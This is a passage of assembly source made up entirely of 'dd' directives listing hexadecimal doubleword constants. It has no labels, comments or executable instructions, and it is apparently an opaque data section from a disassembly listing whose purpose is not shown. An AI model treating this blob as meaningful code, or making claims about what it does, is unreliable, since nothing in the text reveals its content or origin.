		dd 793D0BFFh, 6C011FF3h, 0ACF04723h, 0A0DD77E1h, 48CD8FD6h
		dd 0D000727Ch, 2F093F5Fh, 0F8B90Ch, 0A8CAD20h, 0BD233906h
		dd 0BF0739h, 3156CF86h,	797D238h, 4FDA4291h, 918B10Ch
		dd 0A1B4403Ch, 20009CE0h, 6E847749h, 9F3FCBh, 0A2520435h
		dd 0E529CF63h, 460038EAh, 4B277A64h, 92A861DCh,	8090000Ch
		dd 0F29A7E17h, 4401318Eh, 0E78AD943h, 6080CDA0h, 0DE426448h
		dd 0DA3C3E33h, 8AFC80EEh, 82561531h, 53A900BFh,	21729A73h
		dd 9200F774h, 27D0E9A5h, 20D8ADBh, 0AB2AF424h, 404896C2h
		dd 0BD00E89Dh, 7DCBBF40h, 786EAD9h, 37394C1Ch, 485100ACh
		dd 4101A89Ch, 64701756h, 0DC4DA4Dh, 31D90F2h, 9010A458h
		dd 0FCB095A9h, 4C7037B5h, 0CF7E70BDh, 45002208h, 2955EBFAh
		dd 4871540Dh, 0EC01984h, 9712189Bh, 0B1B51130h,	0F4BE6A00h
		dd 9F7E7241h, 0D70C0044h, 7F47D360h, 1E883077h,	37FF30CAh
		dd 63E8F538h, 0B2FC8405h, 4A80D8A3h, 0DD01D11Eh, 75B78169h
		dd 0C4331699h, 180043BAh, 88F212C9h, 0E1BC5Ah, 82E8D127h
		dd 5E32E265h, 49C6DC0Ch, 0C0E40826h, 657AFF21h,	43D2522h
		dd 16C8810Bh, 59B958DCh, 0E1E0D1E9h, 9A3D0099h,	7D2F0C9Eh
		dd 33003F78h, 0C91F18B7h, 0A8FC49h, 0B12CD220h,	3AAA7A91h
		dd 0F8DB5B00h, 0F21F9EB8h, 0C9DF0627h, 50C52080h, 3100B1F0h
		dd 0F63F8EA7h, 6647BC45h, 21B008FEh, 0A72B0600h, 0AB490A4h
		dd 6D0C3282h, 0C2269758h, 7759C828h, 8DA722C0h,	462E213Fh
		dd 701A391h, 0F384A72Ch, 6243C8AAh, 0C910561Ch,	9800D393h
		dd 0A7EAA1B9h, 0E3B2006Dh, 0F90AF86Ah, 8D009FB8h, 0C05FC888h
		dd 653B4AE2h, 2BE088DCh, 0B9236Ch, 789FE6F8h, 0C70CC29Eh
		dd 78BED6BBh, 9486003Ch, 348C2CD5h, 6E01ED3Dh, 0A7F3B371h
		dd 0C1D1B9A9h, 2D2F9F8h, 0D85AFB7Ch, 0F1604E55h, 0C70030E6h
		dd 1AC425BAh, 63A13Bh, 0D145301h, 0A799FEBEh, 428B7A00h
		dd 8F8EBCB1h, 764700C7h, 4B661760h, 630058F5h, 0D475AA02h
		dd 6CDEE2h, 40B26FC9h, 832CFE5Dh, 0B1069D01h, 20E842EAh
		dd 41C1194h, 7B050CBBh,	0DB10A0h, 89EF2834h, 8BD9BC7Ch
		dd 487F2600h, 5202DA3h,	0E0807ACh, 0DC44DAEBh, 0E88B1829h
		dd 54AED8h, 59DB8FC0h, 6516DE7Fh, 9EA8A84Eh, 0B6465201h
		dd 0C009DD44h, 7D0012F6h, 43E18799h, 1F3D93E8h,	40231C27h
		dd 1516AD78h, 201290Eh,	0CBC99ABFh, 0BB20068Eh,	92D9015Bh
		dd 4EF19FC8h, 0B9118032h, 82D7BA90h, 7B613AAEh,	0DF939600h
		dd 0EEE18B69h, 2CEB6D0Eh, 30E30051h, 0C41FD5h, 5F035780h
		dd 0EE545E29h, 9BB45B00h
		dd 1A98B13Bh, 1D38C02Eh, 0A59A6F3Ch, 5E685Ch, 0C3BF6EA1h
		dd 28323Dh, 444AB361h, 0CE40AB8Bh, 0A8F81D00h, 5721AD1Ah
		dd 0B085508Ch, 0EBD100EEh, 0CB2032C9h, 31006F78h, 0B95FCFD9h
		dd 773485Dh, 0CDD856EFh, 4E287057h, 0CE01C695h,	13BF8769h
		dd 4BE87D18h, 73E9008Dh, 0BC8E60E5h, 0FE00BB10h, 19DD7432h
		dd 0DBAFBDh, 0ED0C129Fh, 16F535CBh, 43D3A48h, 7B27FA92h
		dd 4D49E80h, 2E53749Ch,	0ABD896h, 11C522A3h, 0DA001A56h
		dd 0D312C8EAh, 78C739Fh, 0B8B95D63h, 1FD87225h,	64FB1840h
		dd 0B4209A07h, 0E3D0D793h, 1DC151B2h, 40740F9Bh, 8FF199B7h
		dd 5300FDD9h, 0CE112F12h, 2E77D7Ah, 2B495FDBh, 0A7C0A730h
		dd 21145281h, 0F4280Ah,	4BFEC66Eh, 74098BCh, 0E227D2F3h
		dd 0D76A20CEh, 4F00F94Ah, 0BA487369h, 31A3DBh, 753061Bh
		dd 5E1D42B7h, 2761210Eh, 0B60033E3h, 0BF01B23Ah, 0E9122EEAh
		dd 521D00A0h, 1779BA19h, 0BD315900h, 5F1CFF2Bh,	6AF0070h
		dd 0B8D4B5DEh, 0E139734Fh, 81598157h, 58E53FEh,	1039820h
		dd 3B87BC5Eh, 0D40BE499h, 2000D3CEh, 0B00C14A4h, 56A0F2h
		dd 70E784BAh, 0B629466Fh, 0DB74DC00h, 4F58CA08h, 0B1900098h
		dd 4673A8F5h, 0DD3CC028h, 685703B5h, 0D023A6F2h, 0C5DB9Bh
		dd 571AF40h, 1A086B4Ch,	6470B7h, 3AEFB138h, 36A57D56h
		dd 9800E879h, 64C54476h, 50178DF7h, 1E9440h, 5E51193Fh
		dd 7C9B272Ch, 73FC9049h, 71C0DD00h, 344FCBF4h, 43FB00E3h
		dd 0F34D69C8h, 0DE0E82D6h, 0A22678ABh, 48301907h, 99AC7B4h
		dd 33E76EBCh, 0F799400h, 5424A9D1h, 3A0084D2h, 0FD5F488Ch
		dd 1A94004Dh, 0FEA82E19h, 0D003565Ch, 0DAEA3455h, 5EBBD04Ch
		dd 1F909082h, 0C73E1613h, 80B47CC1h, 0B712469Ch, 0BF75101Ch
		dd 0F1CC849h, 0F617A098h, 9C54E0h, 0AEC7F3FFh, 0CC72B82Dh
		dd 54758926h, 57B5B403h, 0DDFB98D5h, 0D27D003Fh, 370D2C3Bh
		dd 0B30F6D90h, 0A7C6E8BEh, 0CCD09C8Bh, 9A6F0292h, 0DBF488h
		dd 0E3814EA6h, 8D3E937h, 95E15000h, 0A0EE993Ah,	20FA39h
		dd 61598809h, 301EFC02h, 0E8E42100h, 346B4D54h,	0F8821E3Fh
		dd 0E7090099h, 0D56530E2h, 0BB6FBD00h, 809E2D5Fh, 3E7FFE0Dh
		dd 0AC80F43Dh, 1B206B9Ah, 0EB00C5C4h, 8C429CB9h, 94E9FEDh
		dd 0CD85CEE4h, 43EA7887h, 0EBF82191h, 2077354h,	12E27130h
		dd 5E30E957h, 38B0A2D3h, 0D500FF98h, 7A5A86A9h,	9D00C303h
		dd 0A5E19AE9h, 4B6463h,	0A1A87B28h, 7A6E90CAh, 0F01DE824h
		dd 0CB356B00h, 0E323EFh, 0C2D37607h, 0BF0C1141h, 2721A200h
		dd 0E95FE228h, 0E1642C4Dh, 2B9D00A3h, 0EFEBF78Dh, 763C5838h
		dd 917C1101h, 24BAF142h, 17EF020h, 0B3DCB0B6h, 34673E32h
		dd 44105DCCh, 0CC1F8A3Ah, 8075DEF9h, 8668F0DBh,	0B7039434h
		dd 61064A9Ah, 40A5C012h, 5F7B6Fh, 0AFCC38FCh, 693DBD2Fh
		dd 0B02A6100h, 0CE1D341Ah, 9048F4E5h, 13EF0124h, 8417B9A5h
		dd 791FCF4Dh, 480BE07h,	0EDADBB5Fh, 0CFA00E6h, 0C6CA398Eh
		dd 5B266680h, 5D0C4A25h, 0FC4F4847h, 6ABF00A9h,	99BFCF9h
		dd 6B3E60F2h, 0CFED8097h, 0B7D8627Ch, 148E0043h, 6F484BC0h
		dd 0FF008304h, 0BA01E62Ah, 651E8h, 52426CC7h, 4874EA5Dh
		dd 10F60503h, 0C8BD9773h, 484638A8h, 997CD407h,	5D1F0B88h
		dd 820784D4h, 29A01EC8h, 1EDFF294h, 8097927Dh, 7224CA5Ch
		dd 0B0570CBh, 1BE7BF43h, 0B89BA5C3h, 0E740998h,	0C2274052h
		dd 6D577061h, 0CD143021h, 5F4F063Fh, 0BD8EE0h, 882A74FCh
		dd 80CE9813h, 6404BB00h, 6B35C228h, 9770004Ah, 0F89A4C2Dh
		dd 0BC009467h, 0B4F7203Fh, 0F227E8h, 1BEB09BFh,	31DA8DACh
		dd 80BE173Ch, 0EC13D00Fh, 0CC95F3h, 51BB4EE7h, 33A88A7Fh
		dd 4896EF00h, 4698AD1Ch, 0B0B093h, 0EAA7125Dh, 0B6DF31D7h
		dd 4A00D373h, 7C1C9DE6h, 0EB4C3F8Dh, 0BA6474h, 0A5DB58C4h
		dd 3DE28243h, 0A1CD9ECh, 2CBE04Bh, 134700DAh, 1EE7AA41h
		dd 0B8A25FFBh, 0E0A3CA00h, 0B4B05202h, 0C66BFF00h, 0A5EA08B6h
		dd 5A241366h, 0AF545221h, 3CC0011Ch, 34BB1AA7h,	651504B5h
		dd 0D1CA439Eh, 31FD22ACh, 0CCBAE010h, 0CD1FB3Ah, 20E04788h
		dd 0F4C97CFCh, 75A0004Fh, 0FA649D6Bh, 2339C81Eh, 9800F90Ah
		dd 1A5AA53Ch, 0EA0634B3h, 5D9F0F1Bh, 0A7079DC9h, 87408022h
		dd 0A500EC0Bh, 28ED153Ch, 0BBAC1FEh, 7CA459Fh, 9C0BAF00h
		dd 1A1F8754h, 149C4013h, 54489D0Ah, 6C60240Ah, 0E8CF1300h
		dd 0E59C05E2h, 0B09AF070h, 19AE0068h, 89F0BBD1h, 0EC0059A2h
		dd 0E6EA9E62h, 5767C1h,	0A33710DBh, 2E26ED7Dh, 6C954303h
		dd 0E87FD0F8h, 18A4E16h, 865F5D93h, 0DC1CA419h,	99006FE3h
		dd 0E59D5911h, 5EAD92h,	6C0BA327h, 0EF06A64Ah, 0E4C8E200h
		dd 8E10B3D0h, 0D3EB0036h, 0B6FBEC2Bh, 6C006A74h, 8D611493h
		dd 39700AA0h, 0B502DA05h, 8F650F27h, 12D51860h,	34072374h
		dd 2EE8A467h, 0A1C12730h, 73282644h, 82950093h,	818FFA1Eh
		dd 93185Ch, 0A5202DA6h,	1FBE854Eh, 71C8A05h, 0C07C9529h
		dd 0FF0E8286h, 60084BAh, 0E862F23Ch, 7ABA0DA5h,	0E8C5771Ah
		dd 0D3ACA882h, 746200B9h, 790D92BDh, 70032A7h, 0C3681260h
		dd 50B693FDh, 8DDC8B2h,	8608D69Dh, 5A3003Ch, 0D9FBD55Ch
		dd 39419BAh, 80AD08DAh,	5C0CC321h, 0A98821h, 9ACAC29Eh
		dd 0A2FF1B81h, 0E1D8380h, 0E6E9500Ch, 1049D007h, 9E5C3E36h
		dd 34179D88h, 845187A7h, 2094C6A5h, 0AEB1070Ch,	0E95BA097h
		dd 11493180h, 9A625755h, 0BA46CE03h, 0FF8AAB2Fh, 48F7EB10h
		dd 79047825h, 5ACD28FBh, 0EDBD0044h, 0D314EBDFh, 24338734h
		dd 0D008DBh, 0DFD5E421h, 1113C8B1h, 78BECC30h, 0F0079DDCh
		dd 10A16F94h, 0F0F45D40h, 0BF00E7E8h, 300FA662h, 38E09CF5h
		dd 0F8006D47h, 0BA271374h, 0CD0B31A5h, 0A036EB19h, 5C9841C4h
		dd 9A300732h, 97834826h, 93000EC2h, 192EE515h, 0F0A30107h
		dd 0C885D845h, 6080DF87h, 5044FF2Ah, 0D4AD49h, 38FDE815h
		dd 0B8DEB43Dh, 3A00EAF6h, 0E0F495A4h, 0E20D0E7Ah, 99EB07C0h
		dd 0A0B898C1h, 16E74D80h, 7F581100h, 776C59EFh,	0BED20010h
		dd 73882044h, 6700608Fh, 0C5751658h, 791D6EB7h,	3B0B0EC6h
		dd 9340A4DEh, 9C161C11h, 215209CCh, 0A4D5075Bh,	0D5B2F7F0h
		dd 0BF8783h, 734D2163h,	346D0F00h, 0D81AF0F9h, 1B0A305Fh
		dd 8A87AB38h, 0AE83C201h, 5E8BFC71h, 1AA1088Ch,	91005520h
		dd 20387B8Ah, 3E303B4h,	84C84710h, 97DAA4D6h, 165F9360h
		dd 88CFF779h, 9E867E96h, 4520C6F2h, 0B7199EBh, 0E418B5D8h
		dd 9454A404h, 46321BE1h, 0A400002Bh, 78A6FBh, 3E06C9BCh
		dd 5E95F562h, 59026032h, 0FBA0638Eh, 12F9C81Ch,	0A13D387Ch
		dd 85700FCh, 4129DEECh,	98C0ACEFh, 2D9216DDh, 70B4065h
		dd 7EDEE8F3h, 0D23EFA03h, 0A73F52E6h, 0B88094FAh, 1F5ADDE5h
		dd 0C5F00147h, 4D1A165Eh, 7E218EFAh, 0E86A2C8Fh, 7B21302Ah
		dd 6797FE69h, 0E8A8727Ch, 6C302860h, 859640B9h,	0A1870F5Dh
		dd 0A9600AAFh, 0F6E4345Bh, 0A3BDB700h, 32D37B8Fh, 3E6578A2h
		dd 4A01881Bh, 1A6BE74Fh, 0BB38E08Dh, 15609800h,	33DA04CFh
		dd 81EB094Bh, 8055CB03h, 0F13E706h, 9282C0A5h, 9BD2BC07h
		dd 0ECEF5000h, 0C553E8B8h, 5C7800FFh, 15226F2Dh, 0FBE22EDFh
		dd 7D79800h, 8571320Dh,	0F2CF0009h, 8DEE6988h, 0A31ECDE5h
		dd 598093DFh, 31A9469Ah
		dd 58AC0091h, 5F7C65BCh, 7366243Dh, 3C20A0A4h, 0BF017693h
		dd 9F398440h, 21C86097h, 4E06AB07h, 76109D2h, 46F8C481h
		dd 0CAB1193Ah, 0D5CF5845h, 98A0D1A2h, 0F8719E19h, 1886FF93h
		dd 692F2D4Dh, 8813AC00h, 5D975844h, 0A4A61D3Ah,	0FA72CFFDh
		dd 504C2980h, 0B600EEC8h, 0B1AF3BE5h, 12FF97Dh,	0AE4A9E53h
		dd 874D7773h, 6D3A060h,	90FA13F0h, 0EB8407AAh, 0F0F5672h
		dd 0D44A8E20h, 790E2A7Bh, 20B00B45h, 1C8D2EF7h,	0B1A360AFh
		dd 11C29483h, 3BAA3506h, 6984F08h, 4E36FF89h, 4D1E6952h
		dd 0D2EECD2h, 0AF135900h, 1456B6ACh, 802499D1h,	9EE2B500h
		dd 2BC725FDh, 2A884F0Bh, 0FB005FFCh, 0DC0C6D13h, 63F7100h
		dd 0A39E92F7h, 33582654h, 0DD9D1FC2h, 4C003B12h, 29BBBEDCh
		dd 0DD335520h, 8024406Ah, 123BE1h, 91568A0h, 0F4D4626Fh
		dd 0ED917906h, 3E298D1Bh, 47005BC6h, 9B0E1A0Fh,	169028F9h
		dd 0D8627800h, 0ACB91792h, 1F980749h, 0E275A54Fh, 0BEE07D60h
		dd 0A4000515h, 6E67B7EAh, 1E930412h, 39CFF750h,	1428B60Ch
		dd 0F8007268h, 83EC442Fh, 948CEBh, 7662FC5Dh, 60C9AECBh
		dd 0AFC89A02h, 0A08EAA47h, 690C5C80h, 86360E3Dh, 0A2A0CF0Eh
		dd 0B2141CEDh, 0E1628C06h, 0A82BF0h, 0B3D7F220h, 0FA24F7CEh
		dd 0F4001174h, 59C91290h, 8FB858h, 0E4F33DBBh, 0AD87BC28h
		dd 0E99B8500h, 0BE7417AFh, 4AD50095h, 70350167h, 3474F16Fh
		dd 0B021B160h, 0DAD5FEh, 0BC1484C3h, 538D2A10h,	6071ED48h
		dd 0DD683238h, 3BBFEA07h, 1F29E33Dh, 18B87934h,	22420002h
		dd 0EBE07550h, 6507C010h, 6C7A891Fh, 0D5A137E0h, 74A000E3h
		dd 5DE446DEh, 4006A8C1h, 365E6C7Bh, 2051D820h, 0C940C20Ch
		dd 1C7573h, 0AED59870h,	0A72565EAh, 313C18C6h, 1819F259h
		dd 41A3F645h, 2E75AC4Fh, 0F9D4603h, 185530EBh, 20195808h
		dd 2E00A3E4h, 1EB6BF42h, 984FA9h, 23490377h, 65735E45h
		dd 3E6B383Fh, 7061EC84h, 4600E5DDh, 0DA0097D9h,	5EDFFAAEh
		dd 0F08CFA9h, 57FEB533h, 288755E0h, 44075377h, 377EAED9h
		dd 2F6EF820h, 7E80091h,	0D201C862h, 8C027F6Dh, 30CA5A06h
		dd 0C4FE834Bh, 0F1BFD02Ah, 5E07000Eh, 818F3EF3h, 761EFE6Bh
		dd 8A8CA6DEh, 0CB3009D6h, 0BEF0A121h, 1870A3Ah,	6CFFABE5h
		dd 3EC85A05h, 0FD6930AAh, 9BD36128h, 7ABC4E00h,	745E39ABh
		dd 5D6A1873h, 338212Bh,	0CC425000h, 9B233934h, 3E8E7CCDh
		dd 0E400F8F3h, 2098B849h, 39017211h, 4C6E1486h,	19C93159h
		dd 9477FCh, 66F13E70h, 0B4F35A92h, 9A6F8D79h, 935E0061h
		dd 0B8691Dh, 0BFF77D81h, 65F6C699h, 9BC069DEh, 2166E224h
		dd 664740Dh, 9612447Fh,	3E00205Fh, 0AFB98043h, 4BBDF79h
		dd 608B671Ah, 0B3B080DCh, 0AA05F1B5h, 0A010B731h, 6EF07C87h
		dd 13643F3h, 0AE329C1Ah, 0A0F07720h, 0BF004CA9h, 7381184Ah
		dd 3087A514h, 49208BECh, 0F9687BCAh, 4674CC48h,	0C8AB392Eh
		dd 77B9063Bh, 0E9CC9Ch,	48A5503Dh, 0F0D8F76Ah, 41018477h
		dd 0B3F42BD5h, 0E0485D77h, 0C20A8C9Fh, 0DC7B6F4Eh, 2111E0A1h
		dd 500E3300h, 5F7DB89h,	0FB892660h, 0F664BDh, 0F8D5C766h
		dd 887F0280h, 4ECA6105h, 8C00263Eh, 23851AE8h, 2CE10003h
		dd 0EC0B773h, 500382FDh, 4613206h, 79CAF8B6h, 41200093h
		dd 704A9F60h, 0DC0EA165h, 6005F0D7h, 0A077127Fh, 0AAC4007Ah
		dd 0C944428Ch, 1AFCD158h, 0FAC62100h, 459F4116h, 4F7E003Ah
		dd 0FC26CEA1h, 4C07996Fh, 9A120D7Ah, 0DC2A9540h, 0F45C1FD0h
		dd 0F6478F2Eh, 0B53B0F80h, 191D6BF2h, 0FF5D07C5h, 8560EDC0h
		dd 0D3138Bh, 0AA1F6E50h, 0DA7F691Ch, 0CD394FF4h, 2B90092h
		dd 0B0071961h, 0EA3100C6h, 5CA426DBh, 0E733DFEh, 0B645E40Eh
		dd 2F4A86FCh, 6C310020h, 3C4BD5Dh, 0CE001AFAh, 0BC39B048h
		dd 0C0E997FBh, 71766548h, 226BB64h, 0F50FEC3Eh,	0E83C80DDh
		dd 0C0948AD4h, 8809CA29h, 34061AA3h, 24137B43h,	0DBCE3008h
		dd 87F2D820h, 6518A3B8h, 0A4502AE1h, 172679FAh,	19E231DEh
		dd 18F359E7h, 0A08708FAh, 0C7C41C1Ah, 87F7D140h, 0C8018685h
		dd 0B1F3FE70h, 0E08032E2h, 98E907C6h, 11CB75DEh, 58AB00D1h
		dd 1908A5A6h, 8DDAFE3h,	0BA218060h, 7B069BF5h, 1FE00014h
		dd 0F5CEE15h, 0B03E888h, 92966995h, 5A98C01Dh, 34B25C7Ch
		dd 0CC6A291Ch, 23182865h, 0AA70C73Eh, 0FB00C4E6h, 0D1103C8Bh
		dd 1D9D956Ah, 0C9F225Ah, 4220C5BEh, 4635F400h, 871655ADh
		dd 0D66800D8h, 33D83A8h, 0DE540847h, 0AB18EB8Ch, 5104C22h
		dd 8EF8A8h, 9467BF82h, 0C9ACCC25h, 17793Ch, 0FAF6BB7h
		dd 3D0BC702h, 0D600F09Bh, 354405CDh, 0C10003CBh, 0B5E1CA96h
		dd 726D7A2Ah, 0D0700007h, 0EAAAA5F1h, 33007393h, 0EEB2AB67h
		dd 1076214h, 0AEE25096h, 0E8972475h, 8D00714Ah,	3519CE52h
		dd 0CE456h, 1A1E595Eh, 0DB13DCABh, 8D204714h, 0EF3703D0h
		dd 886A4BD8h, 0E8902Ah,	0D9E346D1h, 63886CC1h, 10471834h
		dd 30E2042Ch, 0BF1053BCh, 3D004CBDh, 3B29EF8h, 66926Bh
		dd 5E529FF6h, 5D18E745h, 0EF8D0B0Fh, 6D430091h,	5BAF7Dh
		dd 0B07F8A41h, 0BDCACECDh, 9D05613Dh, 0BA000424h, 0B7AA6AAFh
		dd 522700D9h, 0BF7B7269h, 8100AD7Ah, 0C01ADFA0h, 5F8317E6h
		dd 0CDBCDEh, 0D351CF54h, 4AAFF7h, 2CD152EDh, 0C0CECAEAh
		dd 18B0583Ch, 5DC444DCh, 35C800E1h, 0BF346684h,	3A1DA242h
		dd 0C6C09F5Fh, 0CE3BC193h, 39C34CE0h, 4FEE920Fh, 4AE30052h
		dd 69A24027h, 0D9E52007h, 3D70D43Fh, 4DCD33h, 407D869Bh
		dd 0A52E7496h, 0A97A3500h, 46017CEEh, 0C87589h,	96979E28h
		dd 7267D3BBh, 0FC65FA00h, 51ECD248h, 86D700DDh,	0EEE440C0h
		dd 0D0000587h, 2FE55ADFh, 585B54h, 797D2678h, 3976ABBFh
		dd 9E85B100h, 0C69D5A4Ch, 0A03A0105h, 0F1779460h, 0FDD840CEh
		dd 0B906F7A4h, 0D5C2B4E8h, 70E850h, 66734C03h, 3C3E42F4h
		dd 0DDDB005h, 0F440ECF6h, 0C42DA57Bh, 482FE8EAh, 0E7009DBEh
		dd 320333DBh, 75395916h, 0E2007A58h, 0A8DF5A25h, 0EC072Ch
		dd 0A5C12EA6h, 38100911h, 0D237601h, 44D67D63h,	0BAFC43DDh
		dd 30CD7399h, 0EEF6C4C8h, 0FB07F9D3h, 74832BEAh, 0EC7FAB1h
		dd 59B000F7h, 72DD93E9h, 4212F30Ch, 48401CFDh, 83F11539h
		dd 0EC4E4B87h, 80DB3A93h, 6816EF17h, 0F6ADA192h, 0AA9E0002h
		dd 78404C7Ch, 0D41D8742h, 0CD0E5B32h, 51EBE068h, 3F8A53Dh
		dd 0EEA4E554h, 0C0EF710Ch, 7FBA7AA6h, 43310203h, 0D36BE15Ch
		dd 42FDC0EEh, 894464B4h, 30394306h, 2124A004h, 23651DDFh
		dd 0EB8D000Eh, 0E7FCF6C5h, 99D30C07h, 96F119EDh, 8C20634Dh
		dd 42550A6Ch, 7DDF66Fh,	0A54E64h, 83BDA881h, 4879B100h
		dd 582A0AD8h, 0A3311F0Dh, 35024E4h, 5636C70Eh, 8BD498E0h
		dd 7CFEF300h, 39423FC5h, 2D6724D7h, 55D840E0h, 58399448h
		dd 2652C85Dh, 0A100C046h, 68A2449Eh, 77AC984Bh,	6C0D00D3h
		dd 74F38C4Dh, 0C600EE6Ah, 7C026FABh, 0FF33C1h, 5461B77Fh
		dd 56734690h, 0F7C7D300h, 32A75CF3h, 7FAA003Dh,	0C9D40F8Eh
		dd 8103DD22h, 0A144B8EBh, 38CBE8DEh, 8DECCDh, 0AFF09E24h
		dd 0B89A8E50h, 0C15C2E00h, 0F6D55B0h, 925E00DDh, 9C86CF31h
		dd 0CE03E252h, 0DC9B372h, 2002B832h, 764D07BCh,	201F45EAh
		dd 0AFF20A4Eh, 1B893006h, 114874h, 8BF8600Fh, 0FA614F12h
		dd 0D6C5E900h, 0A9C76387h
		dd 1FB9149Ah, 8D009419h, 0B8F72831h, 0E0000D55h, 0EBDA5E5Ah
		dd 3561B41h, 0F1A904FCh, 0D807B7CCh, 0EA02DFB3h, 329A05D0h
		dd 0A2820067h, 733B265Ch, 0C8002F83h, 2CF5A024h, 19FBE7h
		dd 1266CB10h, 0AB26E0C2h, 9ED2AA00h, 0C0BB58DCh, 7A367393h
		dd 591348A3h, 8A206F09h, 2063D0A7h, 3CEBE095h, 32274E0Bh
		dd 187C8026h, 12847B8Eh, 40F8E8B1h, 0B51B510Ch,	82782837h
		dd 0F4535701h, 849C7ECFh, 0FAE31080h, 0B8B34DB0h, 94673678h
		dd 0EFC0D718h, 9A0F24D1h, 0DDA71F20h, 3A4040F8h, 0D2717848h
		dd 0E770D700h, 0C5051454h, 0ADDD382Ch, 7E4E6D81h, 0EC082637h
		dd 790F47B9h, 27A740h, 1F0D6880h, 0DB94A0E6h, 15B9EA8Fh
		dd 0A8F8DFF0h, 0E17ACA00h, 53C1D5D7h, 0BF8D4F01h, 0B2F8690Bh
		dd 0F00FF0h, 0FD5D51E2h, 5641590Eh, 0C4686F1Ch,	9005026h
		dd 0D0E81022h, 71E2C3h,	0ED7A70B9h, 0B4CC72AEh,	0A0C09900h
		dd 3E2053AFh, 44613923h, 0E5BC1300h, 62E00BB7h,	0EC0040F8h
		dd 8925CB49h, 3D08209Fh, 550057EBh, 0FE9A6073h,	9C1F1BE3h
		dd 0CAC0AB17h, 0F91E19F2h, 0EDA40043h, 96497EB1h, 80003381h
		dd 7A3BDE9h, 1D3CC3D1h,	0F79419h, 0ACC09F91h, 5500FEFDh
		dd 0B7087356h, 0A9E9EDh, 0BE96455Ch, 0AB25D680h, 39F34207h
		dd 202FC2E8h, 0B083AE08h, 5E022CD7h, 803C47C8h,	5B2B0A94h
		dd 19815A00h, 63EA1253h, 48DDE8A8h, 10023056h, 0B9B17A22h
		dd 0E0006C6Eh, 0ED7EE6DEh, 1734BC0h, 246C87B6h,	0E7D698h
		dd 3C5647h, 6DCFD415h, 62F7D2DCh, 0DFD3F003h, 8BA18CAh
		dd 0D9E44F11h, 203FF1Eh, 0C0C94926h, 0FA1D6CADh, 0C7830338h
		dd 0D764B596h, 7C5F0E8h, 59B99200h, 5E43DB16h, 0D174126Bh
		dd 0E33C43A7h, 0C7989773h, 3B01E286h, 500DDCB5h, 587252D3h
		dd 6C9F1702h, 5840AB5Fh, 0B860E084h, 83D2E880h,	941454C4h
		dd 0E70709C1h, 0D7001544h, 0DDB284E5h, 0D22853F4h, 4A2E38ADh
		dd 3BC6CF3h, 0DC6397D4h, 3EA8F872h, 0DA01036Ch,	77EB264Dh
		dd 1EF34C80h, 39FE47FCh, 0FB0134E2h, 1A697F2Dh,	58CCEF2Bh
		dd 1E12E4C3h, 0C316A6CCh, 6CE69450h, 0B4E830BBh, 0A07EDB06h
		dd 0CA686D01h, 0DF12734Eh, 0D677DCh, 7F1F479Eh,	0C4321618h
		dd 9B3FB900h, 0F5990E5Ch, 0D45828E5h, 22C1009Ah, 0CFB23EE1h
		dd 99ECDE12h, 0B00FEF7Ch, 0C15BC9EAh, 7467F8F7h, 0FB49FCh
		dd 0DDCE50C5h, 0CC534754h, 5E71CF00h, 2C455775h, 0AAC400B5h
		dd 0C89DAC2Fh, 0B03EEB6h, 785654C3h, 890CC59h, 250961FBh
		dd 1028E2EDh, 0E22ADC04h, 9B00B820h, 73213A68h,	88AF61h
		dd 4A90F026h, 280B6D7Ch, 48D4D300h, 0C69530CEh,	3813E45Bh
		dd 0A70076D1h, 0DA15124Eh, 11007C51h, 930792Eh,	0DBA1698h
		dd 5375A6AFh, 0A9247444h, 0D9446A00h, 424D4796h, 0DD455865h
		dd 40ACEA1Eh, 0C2A80B9h, 8402C37Fh, 5C3DF4FFh, 2C84C007h
		dd 2EEF07D9h, 807633A6h, 8A3972B7h, 1F0EB400h, 0AD90DB8Bh
		dd 0A0A500D3h, 0E4C7535Bh, 0F0000162h, 57B60C96h, 5F8C91Fh
		dd 6B7DBD9h, 5EBC0FDh, 0F77727CEh, 0F890A00h, 3C807DC8h
		dd 33850E69h, 2CA03DEBh, 644AA18Ah, 0EE0040FCh,	0C0C3EFA7h
		dd 2E94D30h, 0F1ED3CDBh, 0E3E3C9h, 0EEE441F0h, 0E8793BFCh
		dd 6C2D0F00h, 98627991h, 0C26E00B2h, 66045334h,	0B801C522h
		dd 2BA3AE69h, 7BD06312h, 19521651h, 6F0801DEh, 60584434h
		dd 0F6009584h, 281575F4h, 0E9EE8C1h, 890B7480h,	7C25C6C0h
		dd 10C07D34h, 93201A49h, 7068F6C0h, 0CF6B2894h,	177239FCh
		dd 8DB7588Ch, 2019860h,	3415E48Eh, 50FC4671h, 0FEE0049h
		dd 30E57FC4h, 0A4300523h, 614A5863h, 1DAD001Fh,	0D7DD5066h
		dd 7B008AF3h, 876DC7CAh, 5CACD4D2h, 3060EC41h, 13539484h
		dd 0ABE6C004h, 4088E531h, 38A44A1Eh, 32000270h,	0FD773113h
		dd 1EC0A4D6h, 0BCCBF8F1h, 39C92B87h, 49C8F07Eh,	0AC009EF0h
		dd 0BCA111FFh, 1F1BD2h,	0E28D9FD6h, 50A4DE15h, 0A9A63700h
		dd 0FA7D4608h, 1AEC3A3Bh, 0F34C800h, 0F34B5C82h, 355DCF05h
		dd 80AFF1FDh, 1901F2CDh, 0A9144100h, 0A8FC3880h, 7CC3C8Ch
		dd 0FC34400h, 575C5D31h, 14952F07h, 0ED30C0C6h,	4FD8B7h
		dd 0E82C027Eh, 0F3C7E721h, 0D2889405h, 70D00629h, 74CE2469h
		dd 564230BBh, 6F7F8180h, 95778800h, 9B0B89ACh, 0C1A800A7h
		dd 23F89D80h, 6C7D5404h, 3022902Eh, 0EF3A980h, 7A31E975h
		dd 737617FBh, 812D0750h, 7F47D026h, 0D000074Bh,	0A2F9FF11h
		dd 0BC5BC02h, 790B61E7h, 48701680h, 92E8EF71h, 0DCEEF200h
		dd 6E517689h, 0F07A004Bh, 0F73F835h, 6713DAD7h,	0FC4556F9h
		dd 9C205514h, 0E02D2236h, 4E70BBh, 7BC71099h, 0F13F566h
		dd 84D72002h, 43F3BA88h, 0E03900FAh, 2729E211h,	491042Eh
		dd 0F820B217h, 25DD9F9Bh, 9082564Fh, 1C484AD6h,	0E2001550h
		dd 0FA291C5Ah, 492483h,	40A8F9D1h, 7159B441h, 0C4BE2124h
		dd 7B94D800h, 3FD934h, 414C1737h, 0F8D4CD1Eh, 0EE4EF900h
		dd 0C0FB27B5h, 5CE400CBh, 7EA3816Ch, 1700F77Ch,	1A433F8Fh
		dd 7D30F63Eh, 0E68607D4h, 0F018085Fh, 59F2C134h, 7536DD00h
